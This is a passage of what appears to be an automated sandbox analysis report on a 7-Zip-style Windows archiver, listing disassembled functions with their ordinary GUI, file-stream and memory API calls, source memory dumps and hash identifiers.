                                                                                                                                                                                                                                                                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000001F4,?,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00414A9B
                                                                                                                                                                                                                                                                    • SetCursor.USER32(?,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00414ABC
                                                                                                                                                                                                                                                                    • SetCursor.USER32(?,?,00000000,?,?,?,?,00000000,00000000,00000000), ref: 00414AD1
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Cursor$H_prologLoadMessageMultipleObjectsWait
                                                                                                                                                                                                                                                                    • String ID: 7-Zip$Progress Error
                                                                                                                                                                                                                                                                    • API String ID: 2069487291-3559664798
                                                                                                                                                                                                                                                                    • Opcode ID: 0751d7a644647a53fc8ff5eaa43bea17ab2e0a73592ba9c55f7d0a7687bd1639
                                                                                                                                                                                                                                                                    • Instruction ID: 273409215b6623da07dfe80c444edc0af6a35ca9af8cd025eb022090be532e9c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0751d7a644647a53fc8ff5eaa43bea17ab2e0a73592ba9c55f7d0a7687bd1639
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F4217C71A40349EFCB10DFA4D885AEEBBB0EF58304F44406FE515A3291C7746980CB68
                                                                                                                                                                                                                                                                    Function 00403F12 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 29libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,FindFirstStreamW), ref: 00403F38
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00403F41
                                                                                                                                                                                                                                                                    • GetModuleHandleA.KERNEL32(kernel32.dll,FindNextStreamW), ref: 00403F4E
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 00403F51
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                                                    • String ID: FindFirstStreamW$FindNextStreamW$kernel32.dll
                                                                                                                                                                                                                                                                    • API String ID: 1646373207-4044117955
                                                                                                                                                                                                                                                                    • Opcode ID: e26824a2c43990c3e38738af90ba79f433061884f98840ad074de67418fbe398
                                                                                                                                                                                                                                                                    • Instruction ID: e5ec3ed3a1edad023369cf801d31a3322ead61d2c5633d3204d264f3313dde10
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e26824a2c43990c3e38738af90ba79f433061884f98840ad074de67418fbe398
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DFE04FB2B0022D77CA006BAA7D85D27BB9CEA89351355053BB601E3650DBF95C019BED
                                                                                                                                                                                                                                                                    Function 0041944F Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 226COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00419160: _CxxThrowException.MSVCRT(?,00430368), ref: 00419183
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 0041947C
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 004195D8
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 004195EC
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 0041962D
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00430368), ref: 00419695
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3129652135-3916222277
                                                                                                                                                                                                                                                                    • Opcode ID: e691352f5701bb815cd3570ea72547a4ab18613114598c9359446b6e64483e56
                                                                                                                                                                                                                                                                    • Instruction ID: cd6efedd6f1d56c92dabbc26a6a96f19b08a8b55c1ad8802fb1fc7a18fa526a4
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e691352f5701bb815cd3570ea72547a4ab18613114598c9359446b6e64483e56
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C8917C75E00219ABCF04DFA5C4A19EEBBB5BF49314F10845FE855AB341C7789E81CBA8
                                                                                                                                                                                                                                                                    Function 00412E66 Relevance: 9.1, APIs: 6, Instructions: 141windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00412E6B
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(00000005,?), ref: 00412FBB
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(00000000,?), ref: 00412FC1
                                                                                                                                                                                                                                                                    • SHGetFileInfoW.SHELL32(?,00000080,?,000002B4,00000110), ref: 00412FE0
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(00000005,?), ref: 00412FF0
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000170,?,00000000), ref: 00413000
                                                                                                                                                                                                                                                                      • Part of subcall function 00412DC2: __EH_prolog.LIBCMT ref: 00412DC7
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologItem$FileInfoMessageSendTextWindowfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1023756698-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9f333176c794a563ced113dee41ce4c4581d190b3870969ff1e2fe0f4c123dee
                                                                                                                                                                                                                                                                    • Instruction ID: a20650e5b81df0e3e6e87b850ec62ec160da43a620b64b0f4a43a52bbbfcaa49
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9f333176c794a563ced113dee41ce4c4581d190b3870969ff1e2fe0f4c123dee
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 27514F71D00209EADF16EBA1C94ABEEBB79EF04308F50406EF101731D1DBB95A59DB64
                                                                                                                                                                                                                                                                    Function 00411C01 Relevance: 9.0, APIs: 6, Instructions: 44windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000065), ref: 00411C11
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 00411C22
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000064), ref: 00411C29
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(00000000,?), ref: 00411C2F
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 00411C37
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000143,00000000,?), ref: 00411C53
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: TextWindow$Item$MessageSend
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 166695626-0
                                                                                                                                                                                                                                                                    • Opcode ID: c93a0b9e4c95a486f0c71439d6599e5b5d2c0258860adbfbacb2af5de835b41e
                                                                                                                                                                                                                                                                    • Instruction ID: 601d620fac2b1a6222fdacfb9c6b3699e7f7c6ba18235224ca5f8fa0e22c5a52
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c93a0b9e4c95a486f0c71439d6599e5b5d2c0258860adbfbacb2af5de835b41e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 23014B31200B04AFDB326F56CD85C5BBBA6FF887507414429E15A46930CB71BC62EF54
                                                                                                                                                                                                                                                                    Function 00413B11 Relevance: 7.8, APIs: 5, Instructions: 265COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B83: GetDlgItem.USER32(?,?), ref: 00405B8D
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B83: GetWindowRect.USER32(00000000,?), ref: 00405B98
                                                                                                                                                                                                                                                                    • InvalidateRect.USER32(?,00000000,00000001,00000F3D,?,00000F3C,?), ref: 00413B60
                                                                                                                                                                                                                                                                      • Part of subcall function 00405B04: MapDialogRect.USER32(?,00000000), ref: 00405B23
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000067), ref: 00413BAD
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000066), ref: 00413BC2
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,00000064), ref: 00413BD7
                                                                                                                                                                                                                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,00000065,?,00000000,?), ref: 00413C73
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Item$Rect$Window$DialogInvalidateMove
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3766569201-0
                                                                                                                                                                                                                                                                    • Opcode ID: f01c4ef0efb7d0bfb4b8767b449b8b5abdd9d55b67c50f0acb62ad11ec13485f
                                                                                                                                                                                                                                                                    • Instruction ID: ce246a3d039d0214982104f4e609d3b19c92594f882c1bf78c6c7c29b741caf6
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f01c4ef0efb7d0bfb4b8767b449b8b5abdd9d55b67c50f0acb62ad11ec13485f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4CA17F71A00209AFDF14CFA9CD85AEE7BF6EB48314F10442AFA11E7291DB75AA50CB54
                                                                                                                                                                                                                                                                    Function 00415111 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415116
                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32(?,?,?,000003E8,000003E8,00000000), ref: 0041513B
                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32(?,?,000003E8,000003E8,00000000), ref: 00415197
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000101E,00000000,0000FFFF), ref: 004151FA
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000101E,00000001,0000FFFF), ref: 0041520A
                                                                                                                                                                                                                                                                      • Part of subcall function 00405835: __EH_prolog.LIBCMT ref: 0040583A
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CriticalH_prologMessageSectionSend$EnterLeave
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2092801393-0
                                                                                                                                                                                                                                                                    • Opcode ID: d89e78258c7afdd6f5744166646b803b6a50f6a375a2695ef3125b3307e45a01
                                                                                                                                                                                                                                                                    • Instruction ID: 91282e9f2e6138af6e989e87f6f344f8b884d7d6ff8d04ba6966f522404cf5cc
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d89e78258c7afdd6f5744166646b803b6a50f6a375a2695ef3125b3307e45a01
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4B314F31E00605DFCB21EFB5C881AEEB7B6EF85344F50446EE566A3291C7786D41CB94
                                                                                                                                                                                                                                                                    Function 00408937 Relevance: 7.6, APIs: 6, Instructions: 83COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042CC1C,00000010), ref: 00408950
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B438,00000010), ref: 0040896D
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B3A8,00000010), ref: 00408980
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: 402ea8ce823824b8c96a7ca0fee6e6aa9299f8c10f720976267d8a593031ef9b
                                                                                                                                                                                                                                                                    • Instruction ID: 1d2895780140a696daa7553f6974c35feda6b5367f08a4edc809117925851915
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 402ea8ce823824b8c96a7ca0fee6e6aa9299f8c10f720976267d8a593031ef9b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8821CBB1300215ABD7146A15ED41F7B3798DB60798B20443FFC85A6283FB78ED0196AE
                                                                                                                                                                                                                                                                    Function 00415A2E Relevance: 7.5, APIs: 5, Instructions: 38windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00415A33
                                                                                                                                                                                                                                                                    • GetDlgItem.USER32 ref: 00415A4B
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,?), ref: 00415A6A
                                                                                                                                                                                                                                                                    • LoadIconW.USER32(00000001), ref: 00415A78
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00415A89
                                                                                                                                                                                                                                                                      • Part of subcall function 00405CF4: GetWindowRect.USER32(?,?), ref: 00405D0C
                                                                                                                                                                                                                                                                      • Part of subcall function 00405CF4: MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00405D37
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$H_prologIconItemLoadMessageMoveRectSendTextfree
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4226961521-0
                                                                                                                                                                                                                                                                    • Opcode ID: cacc21886681a5727798fa97f439feec264231080a374fabca391ae32f7cab47
                                                                                                                                                                                                                                                                    • Instruction ID: d915f1ebd098dd7fc299a88b254745a998406aea8fe44125ddb004fda97a1a99
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cacc21886681a5727798fa97f439feec264231080a374fabca391ae32f7cab47
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A5018B32600700EBDB316B60ED0ABAABBB5FF04705F00452EF612A55E0CBB56855DB88
                                                                                                                                                                                                                                                                    Function 00412478 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 91COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 0041247D
                                                                                                                                                                                                                                                                      • Part of subcall function 004054F2: __EH_prolog.LIBCMT ref: 004054F7
                                                                                                                                                                                                                                                                      • Part of subcall function 004054F2: LoadStringW.USER32(?,00000000,00000100,00000000), ref: 00405529
                                                                                                                                                                                                                                                                      • Part of subcall function 004020C6: free.MSVCRT ref: 004020CA
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$LoadStringfree
                                                                                                                                                                                                                                                                    • String ID: : $0$x
                                                                                                                                                                                                                                                                    • API String ID: 787671065-2465998972
                                                                                                                                                                                                                                                                    • Opcode ID: bd52d436b1ab16763598f429909ede38819638be84e5890ae2ca961ec6a99dbd
                                                                                                                                                                                                                                                                    • Instruction ID: b258247ee8c2f590d439db40531b1566fb5502eca19984631965de43da8d2757
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: bd52d436b1ab16763598f429909ede38819638be84e5890ae2ca961ec6a99dbd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 82319D31D001299ADF15EBE9D998BEEB775AF48308F14802FE400732D1CBBC5A44CB69
                                                                                                                                                                                                                                                                    Function 00410FDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,0000100C,000000FF,00000002), ref: 00410FF2
                                                                                                                                                                                                                                                                    • SetWindowTextW.USER32(?,..\), ref: 0041106C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: MessageSendTextWindow
                                                                                                                                                                                                                                                                    • String ID: ..\
                                                                                                                                                                                                                                                                    • API String ID: 893732450-2756224523
                                                                                                                                                                                                                                                                    • Opcode ID: 8c0a22bd3356a27c18de10b62ee0f83a11ca2233bc25d3297eced150edbcecc8
                                                                                                                                                                                                                                                                    • Instruction ID: 3b671211e5664a1521868046ddbd403f3dafa02630315d8842da7fb5a42d5bc9
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8c0a22bd3356a27c18de10b62ee0f83a11ca2233bc25d3297eced150edbcecc8
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 54110430900240AFDB319B25CD09FE77FA5EF08314F10065AE28262AF1C7B9ACD5DB05
                                                                                                                                                                                                                                                                    Function 00406459 Relevance: 6.3, APIs: 5, Instructions: 68COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042CC1C,00000010), ref: 0040646F
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B4A8,00000010), ref: 0040648A
                                                                                                                                                                                                                                                                    • memcmp.MSVCRT(?,0042B488,00000010), ref: 0040649E
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: memcmp
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1475443563-0
                                                                                                                                                                                                                                                                    • Opcode ID: db254be07ea67f2e058ac6a274f82164f57d5ab29ca61503ce640ffbbab3bdfc
                                                                                                                                                                                                                                                                    • Instruction ID: 72863ed04dd84b5d7edecba5d36e47870771edf178f59a343f641e5a28c8df96
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: db254be07ea67f2e058ac6a274f82164f57d5ab29ca61503ce640ffbbab3bdfc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 0111E631740314ABC7205F11EC42F6A33A49B54754F11843EFD86EA2C3E6B8F56196AD
                                                                                                                                                                                                                                                                    Function 00402D4B Relevance: 6.3, APIs: 5, Instructions: 66COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
